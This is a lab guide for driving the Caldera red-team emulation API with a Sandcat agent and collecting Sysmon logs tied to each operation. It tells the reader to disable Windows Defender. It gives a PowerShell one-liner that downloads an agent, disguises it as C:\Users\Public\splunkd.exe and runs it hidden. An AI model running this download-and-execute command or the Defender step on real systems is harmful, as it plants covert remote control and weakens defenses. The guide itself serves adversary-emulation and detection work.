Python Script for testing the caldera API with a sandcat agent

Scenario: Need to run PowerShell (psh) scripts on machine A and retrieve logs of the invoked processes. This document contains step-by-step instructions, the PowerShell agent deploy command, and a Python script example to execute commands through Caldera and retrieve Sysmon event output tied to the operation id. Save this file in your GitHub repository to document the process for others.

Steps

1. Disable Windows Defender (follow safe & approved procedures for your environment).

2. Install Sysmon (Sysmon - Sysinternals | Microsoft Learn).

3. Install Caldera (Caldera Installation Guide).

4. Note the host HOST, on which Caldera is running.

5. Note the path of the repository CALDERA_REPO_PATH cloned in step 3.

6. Deploy an agent on machine A (PowerShell one-liner provided below).

Deploy an agent on A (PowerShell one-liner)

Run the following PowerShell one-line on machine A (adjust HOST to your Caldera host):

```
$server="http://HOST:8888";$url="$server/file/download";$wc=New-Object
System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("
file","sandcat.go");$data=$wc.DownloadData($url);get-process | ?
{$_.modules.filename -like "C:\Users\Public\splunkd.exe"} | stop-process -
f;rm -force "C:\Users\Public\splunkd.exe" -ea
ignore;[io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe",$data) | Out-
Null;Start-Process -FilePath C:\Users\Public\splunkd.exe -ArgumentList "-
server $server -group red" -WindowStyle hidden;
```

Python Script (can be found in the same folder as this guide)

Sample operation output (truncated)

```
62faf1ed-ae37-43d2-a481-4f1927743097

    Directory: C:\Users\Docker\Desktop
... (truncated for brevity) ...
```

Fetch Sysmon logs tied to operation id (PowerShell)

```
powershell_script = f"""
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" `
| Where-Object {{ ($_.Id -eq 1) -and ($_.Message -like
"*{operation['id']}*") }} `
| ConvertTo-Json -Depth 10 `
| Out-File "C:/Users/$env:USERNAME/Desktop/operation_{operation['id']}.json"
"""
```

```
command = convert_to_encoded_command_psh(powershell_script, verbose=True)
_,out =__begin_attack(command, platform=platform, expect_response=False)
```

The command might take a few seconds. After completion you can read the JSON file and print it to the console:

```
powershell_script = f"""
type "C:/Users/$env:USERNAME/Desktop/operation_{operation['id']}.json"
"""

command = convert_to_encoded_command_psh(powershell_script, verbose=True)
_,out =__begin_attack(command, platform=platform, expect_response=False)
```

Save the JSON locally

```
data = json.loads(out)
with open(f"operation_{operation['id']}.json",'w') as w:
    json.dump(data,w, indent=4)
```

Notes & Guidance

- Always follow your organisation's policies and get authorization before disabling Defender or deploying agents.
- Use least-privilege principles when running scripts.
- Be careful when storing API keys and secrets; do not commit them into public repositories.
- Adjust KILL_AFTER and other timeouts according to the environment and command expected runtime.
- The one-liner agent deploy command downloads an executable and runs it — treat it as potentially malicious if run on production systems.